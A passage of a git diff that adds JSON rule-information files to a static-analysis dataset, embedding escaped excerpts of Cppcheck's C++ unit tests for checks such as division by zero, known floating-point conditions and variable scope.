TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantAssignment.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantAssignment.json new file mode 100644 index 0000000..361aa73 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantAssignment.json @@ -0,0 +1,22 @@ +{ + "name": "checkRedundantAssignment", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 119, + "branches": 41, + "apis": 132, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 377 + ], + "code": "check(\"{\\n\n}\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantCopy.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantCopy.json new file mode 100644 index 0000000..2955468 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantCopy.json @@ -0,0 +1,22 @@ +{ + "name": "checkRedundantCopy", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 54, + "branches": 25, + "apis": 87, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 9405 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" 